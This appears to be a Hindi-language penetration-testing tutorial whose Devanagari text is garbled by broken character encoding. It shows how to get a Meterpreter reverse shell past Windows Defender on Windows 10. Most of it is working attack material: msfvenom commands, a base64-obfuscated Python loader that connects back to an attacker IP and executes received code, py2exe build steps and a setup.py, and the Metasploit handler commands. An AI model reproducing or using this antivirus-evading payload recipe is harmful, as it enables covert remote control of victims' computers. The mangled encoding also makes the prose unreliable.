
рд╕рднреА рдХреЛ рдирдорд╕реНрдХрд╛рд░ред рдЖрдЬ рд╣рдо рдирд╡реАрдирддрдо рдкреИрдЪ (рд╡рд┐рдВрдбреЛрдЬ рдбрд┐рдлреЗрдВрдбрд░ рд╕рд╣рд┐рдд) рдХреЗ рд╕рд╛рде рд╡рд┐рдВрдбреЛрдЬ 10 рдорд╢реАрди рдкрд░ рдореАрдЯрд░рдкрд░реЗрдЯрд░ рд╕рддреНрд░ рдЪрд▓рд╛рдиреЗ рдХреЗ рд╡рд┐рдХрд▓реНрдк рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВрдЧреЗред рдФрд░ рд╣рдо рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рдХреЛ рднреА рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВрдЧреЗред рдореАрдЯрд░рдкрд░реЗрдЯрд░ рдПрдХ рдЙрдиреНрдирдд рдорд▓реНрдЯреАрдлрд╝рдВрдХреНрд╢рдирд▓ рдлрд┐рд▓рд┐рдВрдЧ (рдкреЗрд▓реЛрдб, рд▓реЛрдб) рд╣реИ, рдЬрд┐рд╕реЗ рд░рдирдЯрд╛рдЗрдо рдкрд░ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╕рд╛рдорд╛рдиреНрдп рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ, рдпрд╣ рдЖрдкрдХреЛ рдПрдХ рдореВрд▓ рд╢реЗрд▓ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЖрдкрдХреЛ рдЖрд╡рд╢реНрдпрдХрддрд╛рдиреБрд╕рд╛рд░ рдЗрд╕рдореЗрдВ рдирдИ рд╕реБрд╡рд┐рдзрд╛рдПрдБ рдЬреЛрдбрд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
рд╣рдо рдЗрд╕реЗ рдкрд╛рдпрдерди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд░реЗрдВрдЧреЗ, рдФрд░ рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рдЙрдкрдХрд░рдг рдХреИрд╕реЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд░рддреЗ рд╣реИрдВред
рдкреНрд░рд╢реНрди рдХрд╛ рдЙрддреНрддрд░ рджреЗрддреЗ рд╣реБрдП, "рдХреНрдпрд╛ рд╣рдореЗрдВ рдкреАрдбрд╝рд┐рдд рдорд╢реАрди рдкрд░ рдкрд╛рдпрдерди рдХреА рдЬрд░реВрд░рдд рд╣реИ?
рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рд╣рдо рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ:
- рд╡рд┐рдВрдбреЛрдЬ 10 рдХреЗ рд╕рд╛рде рд╡рд┐рдВрдбреЛрдЬ рдбрд┐рдлреЗрдВрдбрд░ рдЕрдкрдбреЗрдЯреЗрдб рдбреЗрдЯрд╛рдмреЗрд╕ (рдкреАрдбрд╝рд┐рдд рдХрдВрдкреНрдпреВрдЯрд░ 192.168.1.113) рдХреЗ рд╕рд╛рде рд╕рдХреНрд╖рдо;
- рдореЗрдЯрд╛рд╕реНрдкреНрд▓реЛрдЗрдЯ рдФрд░ рдПрдордПрд╕рдлрд╡реЗрдиреЙрдо (192.168.1.126) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╛рд▓реА рд▓рд╛рдЗрдирдХреНрд╕;
- рд╡рд┐рдВрдбреЛрдЬ 10 рдмрд╛рдЗрдирд░реА рдХреЛ рдЕрд╕реЗрдВрдмрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП (рд╣рдорд╛рд░реА рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рдореЗрдВ рдпрд╣ рдкреАрдбрд╝рд┐рдд рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рд╕реЗ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ) рд╕реНрдерд╛рдкрд┐рдд рд▓реЛрдЧреЛрдВ рдХреЗ рд╕рд╛рде;
- рдЕрдЬрдЧрд░ (3, рд▓реЗрдХрд┐рди 2 рдХреЗ рд▓рд┐рдП рднреА рд╣рдо рджреЗрдЦреЗрдВрдЧреЗ);
- py2.exe ред
рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреЛ рд░реЗрдЦрд╛рдВрдХрд┐рдд рдХрд░рддреЗ рд╣реИрдВ: рдПрдХ рдорд╛рдирдХ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╕рд╛рде рдПрдХ exe рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдВ, рдЗрд╕реЗ рдкреАрдбрд╝рд┐рдд рдХреА рдорд╢реАрди рдкрд░ рдХреЙрдкреА рдХрд░реЗрдВ рдФрд░ рджреЗрдЦреЗрдВ рдХрд┐ рдпрд╣ рдХрд┐рд╕ рдУрд░ рд▓реЗ рдЬрд╛рдПрдЧрд╛ред
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f exe > hunt.exe
рд╣рдореЗрдВ рдЕрдкрдиреЗ рдкреБрд░рд╛рдиреЗ рдорд┐рддреНрд░ рд╡рд┐рдВрдбреЛрдЬ рдбрд┐рдлреЗрдВрдбрд░ рд╕реЗ рдПрдХ рдЪреЗрддрд╛рд╡рдиреА рдорд┐рд▓рддреА рд╣реИ, рдЬрд┐рд╕реЗ рд╣рдо рд╕рднреА рдмрд╣реБрдд рдкреНрдпрд╛рд░ рдХрд░рддреЗ рд╣реИрдВред
рдЕрдЧрд░ рд╣рдо VirusTotal рд╕реЗ рдкреВрдЫреЗрдВ, рддреЛ рд╡рд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╣реЗрдЧрд╛:

рдЪрд▓реЛ рдкрд╛рдпрдерди рдЪрд▓рд╛рддреЗ рд╣реИрдВ рдФрд░ рд╣рдо рд╕рднреА рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд╛рде рдЖрддреЗ рд╣реИрдВред
рдкрд╛рдпрдерди / рдореАрдЯрд░рдкреНрд░реЗрдЯрд░ / рд░рд┐рд╡рд░реНрд╕_рдЯреАрдХреИрдк рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рдХреНрд░реЙрд╕-рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо рдкреЗрд▓реЛрдб рдореЗрдЯрд╛рд╕рд╛рдкреНрд▓реЛрдЗрдЯ рдлреНрд░реЗрдорд╡рд░реНрдХ рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рдПрдХ рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдЧрдП рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рд╕реЛрдЪрдиреЗ рдХреА рдЬрд╝рд░реВрд░рдд рдирд╣реАрдВ рд╣реИ рдХрд┐ рдХрд┐рд╕ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдХреЛ рдЪреБрдирдирд╛ рд╣реИ, рдпрд╣ рдХрд┐рд╕реА рднреА рдкрд░ рдХрд╛рдо рдХрд░реЗрдЧрд╛, рд▓реЗрдХрд┐рди рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рд╣рдо рд╡рд┐рдВрдбреЛрдЬ рд╕реЗ рдЗрд╕рдХреЗ рд▓рд┐рдП рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдВрдЧреЗред
рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, py2.exe рдкреИрдХреЗрдЬ рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ, рдЬреЛ рдЖрдкрдХреЛ рдкрд╛рдпрдерди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реЗ рд╡рд┐рдВрдбреЛрдЬ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдпрд╣ рдкрд╛рдпрдерди 3.4 рд╣реЛрдЧрд╛ (рдЙрдкрд░реЛрдХреНрдд рд╕рднреА py2exe рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ)ред
py -3.4 тАУm pip install py2exe
рдпрд╛
pip install py2exe
рдЕрдЧрд▓рд╛, рдПрдХреНрд╕рдЯреЗрдВрд╢рди .py рдХреЗ рд╕рд╛рде рдПрдХ рдХрдЪреНрдЪрд╛ рдкрд╛рдпрдерди рдХреЛрдб рдмрдирд╛рдПрдВ
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f raw > hunt.py
Msfvenom рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдореЗрдВ рднреА рд╣рдореЗрдВ рдЧреЗрдЯрдкрд╛рд╕ рдЖрдпрд╛рдд рдХреЛ рдЬреЛрдбрд╝рдирд╛ рд╣реЛрдЧрд╛, рдЬрд┐рд╕реЗ рд╡рд╣ рд╕реНрд╡рдпрдВ рдХрд░рдирд╛ рднреВрд▓ рдЬрд╛рддрд╛ рд╣реИред рдЕрдВрдд рдореЗрдВ, рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рдмрджрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП:
import getpass,base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMjYnLDkwMDEpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))
рдЕрдм рд╣рдо рдПрдХ рдмрд╛рдЗрдирд░реА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реИрдВред
python34 -m py2exe.build_exe hunt.py --bundle-files 0
рдЖрдкрдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдорд┐рд▓рдирд╛ рдЪрд╛рд╣рд┐рдП:

рдЪрд▓рд┐рдП рдлрд┐рд░ рд╕реЗ рджреЗрдЦрддреЗ рд╣реИрдВ VirusTotal:

рдкрд╣рд▓реЗ рд╕реЗ рдмреЗрд╣рддрд░ рд╣реИ, рдЕрдм рдЗрд╕реЗ рдХрд╛рд░реНрд░рд╡рд╛рдИ рдореЗрдВ рджреЗрдЦреЗрдВ - рдкреАрдбрд╝рд┐рдд рдХреА рдорд╢реАрди рдкрд░ рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рдмрд┐рдирд╛ рдЕрд▓рд░реНрдЯ рдХреЗ рдХрд╛рдо рдХрд░реЗрдВрдЧреЗред
рд╕рдорд╛рдирд╛рдВрддрд░ рдореЗрдВ, рдХреНрд░рдо рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдЪрд▓рд╛рдХрд░ рдЕрдЬрдЧрд░ рдХреЗ рд▓рд┐рдП рд╣рдорд╛рд░реЗ msf рдФрд░ рд╣реИрдВрдбрд▓рд░ рдХреЛ рдЪрд▓рд╛рдПрдВ:
msfconsole use exploit/multi/handler set PAYLOAD python/meterpreter/reverse_tcp set lhost 192.168.1.126 set lport 9001 run

рдЪрд▓реЛ рдЖрдЧреЗ рдмрдврд╝рддреЗ рд╣реИрдВ рдФрд░ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рд╕рддреНрд░ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИред

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╕рддреНрд░ рд╢реБрд░реВ рд╣реЛ рдЧрдпрд╛ рд╣реИ рдФрд░ рд╡рд┐рдВрдбреЛрдЬ рдбрд┐рдлреЗрдВрдбрд░ рдиреЗ рдХрд╛рдо рдирд╣реАрдВ рдХрд┐рдпрд╛, рдЬреЛ рдХрд┐ рд╣рдо рд▓рдХреНрд╖реНрдп рдХрд░ рд░рд╣реЗ рдереЗред
рдЙрд╕реА рд╕рдордп, рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдкрд╛рдпрдерди 2 рд╕рдВрд╕реНрдХрд░рдг рд╣реИ рддреЛ рдХреНрдпрд╛ рдХрд░реЗрдВред
- рдЕрдЬрдЧрд░ 2 рдХреЗ рд▓рд┐рдП py2.exe рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ
- .Py рд╡рд┐рд╕реНрддрд╛рд░ рдХреЗ рд╕рд╛рде рдкреЗрд▓реЛрдб рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ
- рд╣рдо setup.py рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рддреЗ рд╣реИрдВ рдФрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд▓рд┐рдЦрддреЗ рд╣реИрдВ:
from distutils.core import setup import py2exe setup( name = 'Meter', description = 'Python-based App', version = '1.0', console=['hunt.py'], options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}}, zipfile = None, )
python.exe .\setup.py py2exe
рд╕рдм рдХреБрдЫ рдПрдХ рдЬреИрд╕рд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред
рдирддреАрдЬрддрди, рдореИрдВ рдзреНрдпрд╛рди рджреЗрддрд╛ рд╣реВрдВ рдХрд┐ рдкрд╛рдпрдерди рдореАрдЯрд░рдкрд░реЗрдЯрд░ рд╢реЗрд▓ рдЕрдзрд┐рдХ рдкрд░рд┐рдЪрд┐рдд рдЦрд┐рдбрд╝рдХрд┐рдпреЛрдВ рдХреЗ рдореАрдЯрд░рдкрд░реЗрдЯрд░ рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдореЗрдВ рд╣реАрди рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ getystem рдЬреИрд╕реЗ рдЖрджреЗрд╢реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдлрд┐рд░ рднреА рдпрд╣ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╡рд┐рдХрд▓реНрдк рд╣реИ: msf (рдХрдо рд╕реЗ рдХрдо рд░реВрдЯрд┐рдВрдЧ рдФрд░ рдкреЛрд░реНрдЯрдлрд╝реАрдб) рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдЕрдВрджрд░ рдХрд╛рдо рдХрд░рдирд╛ рдЬрд╛рд░реА рд░рдЦреЗрдВред